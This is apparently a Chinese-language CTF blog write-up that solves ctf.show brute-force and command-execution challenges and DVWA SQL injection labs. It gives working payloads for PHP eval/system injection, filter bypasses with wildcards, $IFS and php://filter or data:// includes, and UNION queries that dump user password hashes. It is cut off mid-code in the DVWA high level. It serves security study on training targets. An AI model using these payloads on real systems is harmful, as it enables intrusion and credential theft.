爆破,命令执行与dvwa靶场

爆破

web21

image-20220204152113077

题目:爆破什么的,都是基操

image-20220204152413922

我们尝试抓包

image-20220204155413690

我们发现用户名和密码被加密,用burp自带解码工具解码

image-20220204155544521

发现用户名和密码中间用冒号隔开

image-20220204161055780

image-20220204161948753

image-20220204161927249

image-20220204162053080

image-20220204162106023

爆破成功

image-20220204162516314

web22

题目:域名也可以爆破的,试试爆破这个ctf.show的子域名

image-20220204163355765

页面失效,提交flag{ctf_show_web}

web23

题目:还爆破?这么多代码,告辞!

image-20220204163541290

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

查看代码

token被md5加密后的传参需要满足以下条件

1.要第二位与第15位与第18位相同 (因为下标是从0开始)
2.第二位+第15位+第18位/第二位=第32位

我们利用现成脚本:

import hashlib
a = "0123456789qwertyuiopasdfghjklzxcvbnm"
for i in a:
    for j in a:
        b = (str(i) + str(j)).encode("utf-8")
        m = hashlib.md5(b).hexdigest()
        if(m[1:2] == m[14:15] and m[14:15] == m[17:18]):
            if ((int(m[1:2]) + int(m[14:15]) + int(m[17:18])) / int(m[1:2])) == int(m[31:32]):
                print('原字符串为:',b)
                print('加密后字符串为:',m)

image-20220204164332386

所以token=3j

传参token=3j 得到flag

image-20220204164504477

web24

题目:爆个🔨

  • 考点: php生成随机数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BKeUWTUS-1644581548068)(https://gitee.com/nie-junyan/clodimage/raw/master/blog/20220211195249.png)]

if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }

PHP伪随机数种子

首先查看mt_srand()和mt_rand()函数

mt_rand() 是使用 Mersenne Twister 算法返回随机整数,与 rand() 函数的主要区别是:
mt_rand()产生随机数值的平均速度比 libc 提供的 rand()快四倍,并且播种函数使用mt_srand(),而不是srand()。

当随机数的种子是个确定值时(如本题),mt_rand()所得到的随机数也是确定的,所以运行后发现mt_rand()=1155388967,传参r=1155388967即可

image-20220204170008680

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MIOPRJ4q-1644581548068)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220204170042247.png)]

web25

题目:爆个🔨,不爆了

image-20220204170138998

查看源码:

if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}

由源码可以发现我们可以利用r=0得到mt_rand()的值

通过如下代码,我们知道要将两个随机数相加得token值

if($_COOKIE[‘token’]==(mt_rand()+mt_rand()))

image-20220204172906276

最终得出

r=183607393 token=794171094

传参得到flag

命令执行

命令执行常见做题方法:

  1. *或?代替文件名全拼
  2. 用其它的命令执行函数代替被过滤的函数
  3. 用已知参数传入另一个无限制参数,构造木马
  4. 编码绕过
  5. include 不用括号 分号可用?>代替
  6. cat替换
  7. 内部字段分隔符$IFS
  8. grep
  9. 通配符匹配
  10. 无字母数字的webshell
  11. $(( ))与整数运算
  12. 脚本
  13. 复制重命名绕过
  14. fopen
  15. 路径读取
  16. 文件高亮
  17. 文件包含
  18. exit()
  19. mysql load_file读取文件
  20. 命令接口

反引号``

1.反引号``即命令替换
2.是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出

单引号,双引号

1.适用条件:过滤了字符串
2.放在shell命令中,绕过正则匹配且不影响原意

空格绕过

1. \> < <> 重定向符 
2. %09(需要php环境) 
3. ${IFS} $IFS$9
4.  {cat,flag.php} //用逗号实现了空格功能
5.  %20 
6. %09

读文件绕过(cat绕过)

适用条件:过滤了cat
1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
grep grep test *file   #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

Linux通配符绕过

1. 适用条件:过滤了flag,没有过滤 ? *

2. 在linux系统中 有一些通配符

3. 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *

4. ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0

5. [abcd] 匹配abcd中任何一个字符

6. [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

   

include 和伪协议的配合

因为include包含php文件不会在页面显示出来
所以可以配合伪协议将flag.php打印,而且新的参数不会受过滤影响

web29

题目:命令执行,需要严格的过滤

image-20220211144020657


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

preg_match()函数:

preg_match函数是进行正则表达式的匹配,成功返回1,否则返回0

if(!preg_match("/flag/i", $c)){

只过滤flag【不区分大小写】

方法一:

1.查看目录

?c=system('ls');

image-20220211150309004

2.获取flag.php ,关键字flag过滤,使用通配符?

?c=system("cp fla?.php 1.txt");

cp命令将flag.php保存到1.txt 再去访问1.txt

image-20220211150951024

方法二:

直接用

?c=echo `tac  fl''ag.php`;

得到flag

image-20220211144714872

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这次过滤了flag,system,php,

system()函数

用于向操作系统传递控制台命令行,以WINDOWS系统为例,通过system()函数执行命令和在DOS窗口中执行命令的效果是一样的,所以只要在运行窗口中可以使用的命令都可以用SYSTEM()传递

用 ` ` 来代替system()
?c=`cp fla?.p?? 1.txt`;

http://d2fc7c45-703c-4caa-8dcd-acd57bb92193.challenge.ctf.show/1.txt

image-20220211151832246

web31

查看源码

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

过滤的更多了,包括cat 空格

我们可以用eval( )来操作, 这个1已经不属于c的内容了,所以不受过滤管控了,

得到空白页面右击看源码才能得到flag

ctf.show/?c=eval($_GET[1]);&1=system('cat flag.php');

将cat 换成 tac 就可以直接看到flag,tac 是 cat 的反向显示

ctf.show/?c=eval($_GET[1]);&1=system('tac flag.php');

也可以将空白用%09替代

ctf.show/?c=echo`tac%09fl*`;

image-20220211153719078

web32

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);

反引号,分号,括号 都不能用

没有括号的话不能使用上一题的eval(),所以要用没有括号的函数 比如include

分号可以用?>代替

include函数传入的参数不能执行系统命令,只能使用php伪协议,通过特定的通道读取文件

/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

image-20220211154431953

得到的是bsae64的数据,再去解码获得flag

image-20220211154529121

【php://协议】

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

【file://协议】

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

web33

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);

多过滤了一个"

使用上一题的方法一样可以出来,换一个函数用require,也是一样的

/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

image-20220211155201920

image-20220211155230894

web34

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);

多过滤了一个冒号,也不影响我们使用上面的方法

/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

image-20220211155420488

web35

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

多过滤了< =,与上题题解一样

web36

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);

不能使用数字,将1用a代替即可,GET[a],里面可以不用单引号

/?c=require$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

题目:命令执行,需要严格的过滤

链接:

image-20220219001106366

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}
?>

看到include函数,说明需要我们利用include函数命令执行,这里可以使用伪协议,同时利用字符串逃逸,绕过过滤

data伪协议命令执行:

data:text/plain,<php代码; ?>

构造:

payload:?c=data://text/palin,<?php system('cat fla?.php');?>


利用POST提交的参数1进行逃逸绕过正则

image-20220219001758522

查看源码获得flag

web38

题目:命令执行,需要严格的过滤

源码:

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|file|php/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}
?>

多过滤了php和file,可以继续使用data协议,但用base64编码或者用<?= ?>来代替php

payload:

?c=data://text/palin,<?=system('cat fla?.???');?>

image-20220219002057298

查看源码获取flag

image-20220219002048258

web39

题目:命令执行,需要严格的过滤

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

改变在第七行,给$c连接了一个.php,直接执行上一道题目的payload

image-20220219002307997

web40

题目:命令执行,需要严格的过滤

源码:

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}
?>

虽然过滤了括号但是,却只是过滤了中文版的括号

进行paylo:

?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=show_source(array_rand(array_flip(scandir(current(localeconv()))));

each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组
**localeconv():**返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
**pos():**返回数组中当前元素的值
**scandir():**获取目录下的文件
**array_reverse():**将数组逆序排列
**next():**函数将内部指针指向下一元素,并输出
print_r(scandir(‘.’)); 查看当前目录下的所有文件名
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

image-20220219002747347

web42

题目:命令执行,需要严格的过滤

源码:

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

所以本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

0表示键盘输入,1表示屏幕输出,2表示错误输出!
‘ > ’ 默认标准输出重定向,与1>相同
2>&1 意思是把标准错误输出重定向到标准输出
&>file 意思是把标准输出和标准错误输出都重定向到文件file中

绕过思路:这里是通过

>/dev/null 2>&1

把输出的内容不进行回显,相当于一个“黑洞”,我们通过“;”进行截断,回显出flag.

payload:

?c=tac f*||

image-20220219003653338

web43

源码:

if(!preg_match("/\;|cat/i", $c)){        system($c." >/dev/null 2>&1");

和上一题类似,看到这里分号被过滤可以通过命令分隔符进行截断:|| &&这两个可以进行截断,但需要注意的是&&需要进行url编码,这样才能成功执行

payload:

?c=tac flag.php%26

image-20220219004409357

web44

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

相比较上一题,只是多了一个对flag的过滤,这里可以用通配符*?代替*

?表示匹配一个字符,这里设我们想看web82.py,那么写成web??.p? 就能查看,* 表示匹配多个字符 ,这里设我们想看web82.py ,那么写成`web82*

所以构造

payload:?c=tac%20fla*||

image-20220224130303321

web45

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤条件:分号、cat、flag、空格
绕过 >/dev/null(不执行),主要是绕过空格,可以参考我web31、43的wp

构造

payload:?c=tac%09fla*||

image-20220224130649078

web46

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤条件: cat、flag、空格、数字、$、*

绕过空格现在不能用$IFS绕过,但是可以用<>和%09绕过(注意<?不能连用,%09不被过滤是因为上传到服务器就是tab键,不算数字)
绕过flag用问号绕过,fla?.???

构造

payload: ?c=tac<fla%27%27g.php|| 
payload: ?c = tac%09fla?.???||

image-20220224133731065

web47–49

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤条件:分号、flag、空格、数字、$、*、more、less、head、sort、tail

绕过了,但是又好像没绕,上一题的payload也适用于这题

payload: ?c=tac%09fla?.???||

image-20220224142303552

web48

image-20220224142434719

web49

image-20220224142529449

web50

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤条件:

 分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、%、%09、&(编码后为%26)

绕过空格:这里过滤了tab(%09),可以用<> 代替,但是<不能和?连用
绕过flag:之前用通配符*或?可以绕过,现在可以使用‘’或者/分割绕过

构造

1payload:?c=tac<fla\g.php||
2payload: ?c=tac<fla’’g.php||

image-20220224145246652

web51

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤条件:

分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)

绕过:看到tac被禁用了…直接用nl查看

构造

payload:?c=nl<fla\g.php||  然后F12审计源码,就可以看到flag

image-20220224150509280

web52

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤条件:

 分号、cat、flag、空格、数字、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)、<、>

仔细一看少过滤了个$,多过滤了<>,那么这里用${IFS},构造

payload:?c=nl${IFS}fla\g.php||  执行完F12查看源码

web53

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

过滤条件:

 分号、cat、flag、空格、数字、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)、<、>

这题没有将输入指令不执行,直接构造

payload: ?c=nl${IFS}fla?.???

image-20220224165730763

web54

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

加强了正则,不能用*代替,构造

payload: ?c=/bin/??t${IFS}????.???

image-20220224165955184

web55

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤条件:

 a-z 、`、%、%09(tab)、%26(&)、<、> 

/bin目录:

1.bin为binary的简写主要放置一些 系统的必备执行档
2.例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

3.这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

payload:

?c=/???/????64 ????.???
也就是
/bin/base64 flag.php

/usr/bin目录:

1.主要放置一些应用软件工具的必备执行档
2.例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、
ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。

3.我们可以利用/usr/bin下的bzip2

4.意思就是说我们先将flag.php文件进行压缩,然后再将其下载

paylaod:

先?c=/???/???/????2 ????.???
然后在url + /flag.php.bz2 下载文件

image-20220224170840774

base64解码:

image-20220224170906087

web58

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

禁用函数

直接用system函数试一下,发现被禁用了,然后又试了其他的函数都被禁用了

然后我们可以用读取文件的方式进行,在这里它没有禁用文件读取

c=echo file_get_contents("flag.php");

image-20220224171153871

注意:这里是用post传参

web59

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

源码没变。但引用的函数肯定是越来越多

这个题直接使用读取文件的方式已经不行,被禁用了

这个题可以直接用include函数,然后文件读取的方式即可

c=include($_GET[a])

web60

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

还是这个源码,但是禁用的方法多了点,多试几下,发现用上一题的payload可以

payload:?c=show_source(‘flag.php’);

image-20220225003016705

dvwa靶场

SQL Injection

(low)

SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱裤”,如今SQL注入仍是现在最常见的Web漏洞之一。

SQL 注入分类:

SQLMap中的分类来看,SQL注入类型有以下5种:

1.UNION query SQL injection(可联合查询注入)
2.Stacked queries SQL injection(可多语句查询注入)
3.Boolean-based blind SQL injection(布尔型注入)
4.Error-based SQL injection(报错型注入)
5.Time-based blind SQL injection(基于时间延迟注入)
SQL 注入常规利用思路:
1、寻找注入点,可以通过 web 扫描工具实现

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

4、可以通过获得的用户信息,寻找后台登录。

5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
手工注入常规思路:
1.判断是否存在注入,注入是字符型还是数字型

2.猜解 SQL 查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.查询到账户的数据

查找这个表里面的数据库库名

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}
?> 

由代码可知,通过REQUEST方式接受传递的参数id,再通过sql语句带入查询,并未设置任何过滤,因此可以进行sql注入利用。

注入测试语句举例:

1' or 1=1#
1 and 1=2'union select database(),2#

image-20220205174508109

image-20220205174519608

判断注入:
1   页面正常

1'  页面返回错误:报错“...use near ''1''' at line 1...”

1' or '1'='2 页面返回为空,查询失败

1' or '1'='1 页面正常,并返回更多信息,成功查询

判断存在的是字符型注入。

猜字段:
1' order by 2#

得到字段数为2

image-20220205174804202

确定回显点:
1' union select 1,2# 

image-20220205174834340

猜数据库:
1' union select 1,database()#

image-20220205175019262

查找当前数据库中的表

1 ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

image-20220205180150590

查找表users中的字段

1 ' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

image-20220205180204706

查找数据

1 ' union select group_concat(user),group_concat(password) from users #

image-20220205180224159

(Medium)

image-20220211132311365

这个级别我们可以看出,这是通过一个下拉表的方式提交数据的,

而且我们提交一个数据后发现URL如下:

image-20220211132435922

所以不是get型注入,应该是把提交的数据存放到post数据中了

我们可以用hackbar试一下

添加post数据如下 点击exeute

image-20220211132958196

得到返回的页面如下:

image-20220211133027050

则我们就可以在这里添加注入语句了

添加post数据如下:

id=3 union select 1,database()#&Submit=Submit

image-20220211133144625

image-20220211133204257

获得当前数据库为dvwa

使用burp suite

image-20220211133438020

但是我们执行这句话时却报错了:

id=2 union select1,table_name from information_schema.tables wheretable_name='dvwa'#&Submit=Submit

image-20220211133513325

Low版本的就可以注入,中等的就不可以注入了,我们打开源码:

Medium SQL Injection Source

<?php

 

if( isset( $_POST[ 'Submit' ] ) ) {undefined

   // Get input

   $id = $_POST[ 'id' ];

    $id = mysql_real_escape_string($id );

 

   // Check database

   $query  = "SELECT first_name,last_name FROM users WHERE user_id = $id;";

   $result = mysql_query( $query ) or die( '<pre>' . mysql_error() .'</pre>' );

 

   // Get results

   $num = mysql_numrows( $result );

   $i   = 0;

   while( $i < $num ) {undefined

       // Display values

       $first = mysql_result( $result, $i, "first_name" );

       $last  = mysql_result( $result,$i, "last_name" );

 

       // Feedback for end user

       echo "<pre>ID: {$id}<br />First name: {$first}<br/>Surname: {$last}</pre>";

 

        // Increase loop count

       $i++;

    }

 

   //mysql_close();

}

 

?>

发现有这样的一句话:

$id = mysql_real_escape_string($id );

mysql_real_escape_string函数是实现转义 SQL 语句字符串中的特殊字符,如输入单引号’则处理时会在其前面加上右斜杠\来进行转义,如果语句错误则输出相应的错误信息。其中受影响的字符如下:

\x00 \n \r \ ’ " \x1a

所以当我们注入时, 只要不用’就行

id=2 union select 1,table_name from information_schema.tables wheretable_schema=(select database())#&Submit=Submit

确定列数

id=1 order by 2不报错

id=1 order by 3报错

列数为2列

image-20220211134638645

image-20220211134701865

爆表

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit

得到表名guestbook和users
image-20220211135155546

爆列

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761   

(0x7573657273是users的十六进制ascii码)

得到列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login、

最终得到数据:

image-20220211135617252

(high)

image-20220211140044390

我们看一下源码

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
